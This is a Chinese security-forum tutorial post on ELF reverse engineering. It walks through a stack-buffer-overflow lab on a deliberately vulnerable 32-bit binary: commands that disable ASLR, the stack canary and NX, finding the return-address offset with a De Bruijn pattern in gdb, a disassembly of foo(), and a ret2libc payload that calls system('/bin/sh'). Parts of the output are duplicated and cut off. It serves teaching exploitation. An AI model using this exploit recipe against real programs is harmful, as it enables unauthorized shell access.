-
-
[原创]ELF文件逆向分析
-
发表于: 2020-12-24 00:12 6669
-
大家好,这是我第一次在看雪上发表。
这是我的一次elf文件的专题报告,内容也是由浅入深,重点讲述了ELF文件的结构、got和plt、一次重要的elf文件实验逆向。
有兴趣的,请自行下载下面的附件。
这里我简要介绍一个实验。
明显foo()存在栈溢出漏洞,同时dummy()模仿大型的程序。在大型的程序中,jmp esp 这样的代码,很容易找到。
关闭:ASLR(系统级)
命令:sudo sysctl kernel.randomize_va_space=0
禁用:canary 和 NX
命令:gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack
最简单的办法就是把想执行的代码用机器码表示, 即俗称的shellcode, 将其写入程序, 然后将返回地址修改为该段shellcode的起始地址。。
返回地址看似是buf+10, 但考虑到编译器的不同会导致预留(对齐)不同的空间, 所以需要精确确认. 先生成(或者自己写)一个有固定模式的字符串, 这里用De Brujin序列:
然后用gdb启动victim程序调试并输入上述paylod:
看到程序发生段错误, 并且PC指针eip的值为0x41494141, 即小端的AAIA, 出现在De Brujin序列的第23字节, 所以可以确定输入溢出到第23字节时覆盖了PC指针. 确定了位置, 那么该写哪个地址值呢? 我们知道应该要跳转到shellcode头部, shellcode写在buf中, 而buf则在栈上(还记得上面的栈帧表格吗?), 反汇编foo函数:
看9~18行可以发现buf的地址为ebp-0x12,我们是不是可以直接跳转到硬编码的buf地址呢? 我们可以自己试验每次断点在foo时打印寄存器值:
故,我选用了通用的/bin/sh
现在需要我们做什么:1.找到lib地址 2.找到system地址 3.确定/bin/sh
1.
2.
3.
最后构造payload='A'*22+system地址+任意地址+bin/sh地址
$ ragg2
-
P
40
-
r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
$ ragg2
-
P
40
-
r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
$ gdb victim
(gdb) run
Starting program:
/
home
/
pan
/
victim
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
Program received signal SIGSEGV, Segmentation fault.
0x41494141
in
?? ()
(gdb) p $eip
$
1
=
(void (
*
)())
0x41494141
$ gdb victim
(gdb) run
Starting program:
/
home
/
pan
/
victim
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
Program received signal SIGSEGV, Segmentation fault.
0x41494141
in
?? ()
(gdb) p $eip
$
1
=
(void (
*
)())
0x41494141
objdump
-
d foo
Dump of assembler code
for
function foo:
0x0804848b
<
+
0
>: push ebp
0x0804848c
<
+
1
>: mov ebp,esp
0x0804848e
<
+
3
>: push ebx
0x0804848f
<
+
4
>: sub esp,
0x14
0x08048492
<
+
7
>: call
0x80483c0
<__x86.get_pc_thunk.bx>
0x08048497
<
+
12
>: add ebx,
0x1b69
0x0804849d
<
+
18
>: sub esp,
0x8
0x080484a0
<
+
21
>: lea eax,[ebp
-
0x12
]
0x080484a3
<
+
24
>: push eax
0x080484a4
<
+
25
>: lea eax,[ebx
-
0x1a50
]
0x080484aa
<
+
31
>: push eax
0x080484ab
<
+
32
>: call
0x8048370
<__isoc99_scanf@plt>
0x080484b0
<
+
37
>: add esp,
0x10
0x080484b3
<
+
40
>: sub esp,
0x8
0x080484b6
<
+
43
>: lea eax,[ebp
-
0x12
]
0x080484b9
<
+
46
>: push eax
0x080484ba
<
+
47
>: lea eax,[ebx
-
0x1a4d
]
0x080484c0
<
+
53
>: push eax
0x080484c1
<
+
54
>: call
0x8048340
<printf@plt>
0x080484c6
<
+
59
>: add esp,
0x10
0x080484c9
<
+
62
>: mov eax,
0x0
0x080484ce
<
+
67
>: mov ebx,DWORD PTR [ebp
-
0x4
]
0x080484d1
<
+
70
>: leave
0x080484d2
<
+
71
>: ret
End of assembler dump.
objdump
-
d foo
Dump of assembler code
for
function foo:
0x0804848b
<
+
0
>: push ebp
0x0804848c
<
+
1
>: mov ebp,esp
0x0804848e
<
+
3
>: push ebx
0x0804848f
<
+
4
>: sub esp,
0x14
0x08048492
<
+
7
>: call
0x80483c0
<__x86.get_pc_thunk.bx>
0x08048497
<
+
12
>: add ebx,
0x1b69
0x0804849d
<
+
18
>: sub esp,
0x8
0x080484a0
<
+
21
>: lea eax,[ebp
-
0x12
]
0x080484a3
<
+
24
>: push eax
0x080484a4
<
+
25
>: lea eax,[ebx
-
0x1a50
]
0x080484aa
<
+
31
>: push eax
0x080484ab
<
+
32
>: call
0x8048370
<__isoc99_scanf@plt>
0x080484b0
<
+
37
>: add esp,
0x10
0x080484b3
<
+
40
>: sub esp,
0x8
0x080484b6
<
+
43
>: lea eax,[ebp
-
0x12
]
0x080484b9
<
+
46
>: push eax
0x080484ba
<
+
47
>: lea eax,[ebx
-
0x1a4d
]
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]KVM场景制作qcow2文件 1774
- [原创]漏洞原理的梳理(不断更新中) 1831
- [原创]通过一次演习,产生的对DOS的思考。 1629
- [原创]2021腾讯PC客户端初赛题解(对大佬解题手法的学习) 8330
- [原创]IDA静态逆向分析模型原理的补充 13409